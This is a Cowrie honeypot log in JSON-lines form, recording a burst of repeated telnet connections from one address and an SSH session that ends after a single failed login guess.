{"eventid":"cowrie.session.closed","duration":30.7921085357666,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:12.454515Z","src_ip":"198.50.122.223","session":"c9c4ee5fbb73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":33494,"dst_ip":"10.17.0.5","dst_port":23,"session":"628b50213838","protocol":"telnet","message":"New connection: 198.50.122.223:33494 (10.17.0.5:23) [session: 628b50213838]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:12.724226Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":34000,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd2a68b66bb3","protocol":"telnet","message":"New connection: 198.50.122.223:34000 (10.17.0.5:23) [session: cd2a68b66bb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:12.792292Z"}
{"eventid":"cowrie.session.closed","duration":31.451844215393066,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:12.859146Z","src_ip":"198.50.122.223","session":"8b15601b23b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":35158,"dst_ip":"10.17.0.5","dst_port":23,"session":"30af7d81b602","protocol":"telnet","message":"New connection: 198.50.122.223:35158 (10.17.0.5:23) [session: 30af7d81b602]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:12.995983Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":35574,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2fb5b6ab6c8","protocol":"telnet","message":"New connection: 198.50.122.223:35574 (10.17.0.5:23) [session: d2fb5b6ab6c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:13.144022Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":36132,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab40a4760c37","protocol":"telnet","message":"New connection: 198.50.122.223:36132 (10.17.0.5:23) [session: ab40a4760c37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:13.287206Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":37436,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b6a0615a1e3","protocol":"telnet","message":"New connection: 198.50.122.223:37436 (10.17.0.5:23) [session: 8b6a0615a1e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:13.506785Z"}
{"eventid":"cowrie.session.closed","duration":30.663901567459106,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:13.529508Z","src_ip":"198.50.122.223","session":"d94dbe66058a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":41028,"dst_ip":"10.17.0.5","dst_port":23,"session":"33f020e92f13","protocol":"telnet","message":"New connection: 198.50.122.223:41028 (10.17.0.5:23) [session: 33f020e92f13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:14.097783Z"}
{"eventid":"cowrie.session.closed","duration":30.388354539871216,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:14.129150Z","src_ip":"198.50.122.223","session":"0ac15a42058e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":41218,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f8d2b8a16d6","protocol":"telnet","message":"New connection: 198.50.122.223:41218 (10.17.0.5:23) [session: 2f8d2b8a16d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:14.179402Z"}
{"eventid":"cowrie.session.closed","duration":31.138082265853882,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:14.268787Z","src_ip":"198.50.122.223","session":"ce404df2a1ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.462534427642822,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:14.281540Z","src_ip":"50.6.35.229","session":"a2c3d0555d16","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":41592,"dst_ip":"10.17.0.5","dst_port":23,"session":"52d463494c91","protocol":"telnet","message":"New connection: 198.50.122.223:41592 (10.17.0.5:23) [session: 52d463494c91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:14.303363Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":42379,"dst_ip":"10.17.0.5","dst_port":23,"session":"b64bef3c5c83","protocol":"telnet","message":"New connection: 198.50.122.223:42379 (10.17.0.5:23) [session: b64bef3c5c83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:14.494853Z"}
{"eventid":"cowrie.session.closed","duration":30.628970861434937,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:14.603138Z","src_ip":"198.50.122.223","session":"89995ab6eb7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":43120,"dst_ip":"10.17.0.5","dst_port":23,"session":"402d49cf719e","protocol":"telnet","message":"New connection: 198.50.122.223:43120 (10.17.0.5:23) [session: 402d49cf719e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:14.677488Z"}
{"eventid":"cowrie.session.closed","duration":31.260627031326294,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:14.713943Z","src_ip":"198.50.122.223","session":"e3cee5421340","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04616403579712,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:14.848974Z","src_ip":"198.50.122.223","session":"cca7a91e9597","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":44896,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb1a657f7d53","protocol":"telnet","message":"New connection: 198.50.122.223:44896 (10.17.0.5:23) [session: cb1a657f7d53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:14.885252Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":45726,"dst_ip":"10.17.0.5","dst_port":23,"session":"bffa2c25177e","protocol":"telnet","message":"New connection: 198.50.122.223:45726 (10.17.0.5:23) [session: bffa2c25177e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:15.096122Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":46364,"dst_ip":"10.17.0.5","dst_port":23,"session":"74b47e752168","protocol":"telnet","message":"New connection: 198.50.122.223:46364 (10.17.0.5:23) [session: 74b47e752168]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:15.334245Z"}
{"eventid":"cowrie.session.closed","duration":120.00088214874268,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:15.344763Z","src_ip":"154.110.11.213","session":"0732883343f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.369802951812744,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:15.484864Z","src_ip":"198.50.122.223","session":"ba39ee70703a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":49736,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cdea02c48f2","protocol":"telnet","message":"New connection: 198.50.122.223:49736 (10.17.0.5:23) [session: 4cdea02c48f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:15.904996Z"}
{"eventid":"cowrie.session.closed","duration":30.57416081428528,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:16.254480Z","src_ip":"198.50.122.223","session":"78a7ef56952b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.807215213775635,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:16.262009Z","src_ip":"198.50.122.223","session":"ae32d744471f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":51508,"dst_ip":"10.17.0.5","dst_port":23,"session":"96b2048962c8","protocol":"telnet","message":"New connection: 198.50.122.223:51508 (10.17.0.5:23) [session: 96b2048962c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:16.409135Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":51538,"dst_ip":"10.17.0.5","dst_port":23,"session":"317e4782bc2a","protocol":"telnet","message":"New connection: 198.50.122.223:51538 (10.17.0.5:23) [session: 317e4782bc2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:16.414515Z"}
{"eventid":"cowrie.session.closed","duration":31.22153091430664,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:16.501618Z","src_ip":"198.50.122.223","session":"46f9a8a8f710","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":52038,"dst_ip":"10.17.0.5","dst_port":23,"session":"468e5fc70052","protocol":"telnet","message":"New connection: 198.50.122.223:52038 (10.17.0.5:23) [session: 468e5fc70052]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:16.550524Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":48454,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c7643f59b4d","protocol":"telnet","message":"New connection: 198.50.122.223:48454 (10.17.0.5:23) [session: 9c7643f59b4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:16.675470Z"}
{"eventid":"cowrie.session.closed","duration":30.999990224838257,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:16.701961Z","src_ip":"198.50.122.223","session":"b87bd56c8028","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.69594669342041,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:16.812878Z","src_ip":"198.50.122.223","session":"2f93c1d30105","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":54324,"dst_ip":"10.17.0.5","dst_port":23,"session":"7db12fc40207","protocol":"telnet","message":"New connection: 198.50.122.223:54324 (10.17.0.5:23) [session: 7db12fc40207]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:16.858015Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44068,"dst_ip":"159.203.135.109","dst_port":22,"session":"554398a5946b","protocol":"ssh","message":"New connection: 159.203.92.129:44068 (159.203.135.109:22) [session: 554398a5946b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:16.863985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:16.868948Z","src_ip":"159.203.92.129","session":"554398a5946b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:16.874050Z","src_ip":"159.203.92.129","session":"554398a5946b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache","password":"123","message":"login attempt [apache/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:16.915807Z","src_ip":"159.203.92.129","session":"554398a5946b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":54738,"dst_ip":"10.17.0.5","dst_port":23,"session":"83ea290bdee2","protocol":"telnet","message":"New connection: 198.50.122.223:54738 (10.17.0.5:23) [session: 83ea290bdee2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:16.932005Z"}
{"eventid":"cowrie.session.closed","duration":30.9262957572937,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:17.289344Z","src_ip":"198.50.122.223","session":"14410f0e305e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":56054,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5f18027658a","protocol":"telnet","message":"New connection: 198.50.122.223:56054 (10.17.0.5:23) [session: d5f18027658a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:17.309707Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":56278,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3eb3816c460","protocol":"telnet","message":"New connection: 198.50.122.223:56278 (10.17.0.5:23) [session: b3eb3816c460]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:17.353317Z"}
{"eventid":"cowrie.session.closed","duration":31.04745626449585,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:17.501361Z","src_ip":"198.50.122.223","session":"c32fad6896bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:17.922269Z","src_ip":"159.203.92.129","session":"554398a5946b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":33070,"dst_ip":"10.17.0.5","dst_port":23,"session":"41d6f08ade72","protocol":"telnet","message":"New connection: 198.50.122.223:33070 (10.17.0.5:23) [session: 41d6f08ade72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:18.328578Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":33196,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8ec522e2928","protocol":"telnet","message":"New connection: 198.50.122.223:33196 (10.17.0.5:23) [session: d8ec522e2928]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:18.364566Z"}
{"eventid":"cowrie.session.closed","duration":31.119283437728882,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:18.753726Z","src_ip":"198.50.122.223","session":"06fe1176b5b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":37292,"dst_ip":"10.17.0.5","dst_port":23,"session":"63d1693deec0","protocol":"telnet","message":"New connection: 198.50.122.223:37292 (10.17.0.5:23) [session: 63d1693deec0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:19.084462Z"}
{"eventid":"cowrie.session.closed","duration":30.344828128814697,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:19.182768Z","src_ip":"198.50.122.223","session":"68d84265a4d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.92243504524231,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:19.261890Z","src_ip":"198.50.122.223","session":"80e196406ea6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.308120250701904,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:19.325385Z","src_ip":"198.50.122.223","session":"2e2b3e7472ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":38206,"dst_ip":"10.17.0.5","dst_port":23,"session":"6579e45b07dd","protocol":"telnet","message":"New connection: 198.50.122.223:38206 (10.17.0.5:23) [session: 6579e45b07dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:19.333022Z"}
{"eventid":"cowrie.session.closed","duration":30.555761575698853,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:19.357288Z","src_ip":"198.50.122.223","session":"1684c9bc0d8b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.77105975151062,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:19.468309Z","src_ip":"198.50.122.223","session":"6ec61f225e4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":41682,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fe8e66f089f","protocol":"telnet","message":"New connection: 198.50.122.223:41682 (10.17.0.5:23) [session: 0fe8e66f089f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:19.843472Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":43252,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ff695a27c28","protocol":"telnet","message":"New connection: 198.50.122.223:43252 (10.17.0.5:23) [session: 3ff695a27c28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:20.256823Z"}
{"eventid":"cowrie.session.closed","duration":31.03678822517395,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:20.350208Z","src_ip":"198.50.122.223","session":"cee2b055f2e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.231900215148926,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:20.491834Z","src_ip":"198.50.122.223","session":"563b66e7b302","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":45376,"dst_ip":"10.17.0.5","dst_port":23,"session":"6dbcd058b419","protocol":"telnet","message":"New connection: 198.50.122.223:45376 (10.17.0.5:23) [session: 6dbcd058b419]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:20.583159Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":46124,"dst_ip":"10.17.0.5","dst_port":23,"session":"1730ed67ce9f","protocol":"telnet","message":"New connection: 198.50.122.223:46124 (10.17.0.5:23) [session: 1730ed67ce9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:20.704959Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":48474,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9673ea6d1c9","protocol":"telnet","message":"New connection: 198.50.122.223:48474 (10.17.0.5:23) [session: a9673ea6d1c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:21.227939Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":48602,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d1162a14370","protocol":"telnet","message":"New connection: 198.50.122.223:48602 (10.17.0.5:23) [session: 2d1162a14370]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:21.253930Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":48666,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf2142597fb7","protocol":"telnet","message":"New connection: 198.50.122.223:48666 (10.17.0.5:23) [session: cf2142597fb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:21.312850Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":49622,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c46e926a00c","protocol":"telnet","message":"New connection: 198.50.122.223:49622 (10.17.0.5:23) [session: 6c46e926a00c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:21.449063Z"}
{"eventid":"cowrie.session.closed","duration":31.288376092910767,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:21.461319Z","src_ip":"198.50.122.223","session":"dd4f55afba3b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.248281002044678,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:21.527351Z","src_ip":"198.50.122.223","session":"d56ba97bfa67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":51346,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ea911e6a388","protocol":"telnet","message":"New connection: 198.50.122.223:51346 (10.17.0.5:23) [session: 9ea911e6a388]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:21.670156Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":45646,"dst_ip":"10.17.0.5","dst_port":23,"session":"355c43eae03a","protocol":"telnet","message":"New connection: 198.50.122.223:45646 (10.17.0.5:23) [session: 355c43eae03a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:21.772861Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":53976,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6b44c0ef9a7","protocol":"telnet","message":"New connection: 198.50.122.223:53976 (10.17.0.5:23) [session: b6b44c0ef9a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:22.216582Z"}
{"eventid":"cowrie.session.closed","duration":30.64574670791626,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:22.336129Z","src_ip":"198.50.122.223","session":"68dde8d21e4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":54640,"dst_ip":"10.17.0.5","dst_port":23,"session":"e87544b3ff44","protocol":"telnet","message":"New connection: 198.50.122.223:54640 (10.17.0.5:23) [session: e87544b3ff44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:22.377427Z"}
{"eventid":"cowrie.session.closed","duration":31.028644323349,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:22.403285Z","src_ip":"198.50.122.223","session":"10d9e387d25d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.295384645462036,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:22.408374Z","src_ip":"198.50.122.223","session":"4223aabaddeb","protocol":"telnet"}
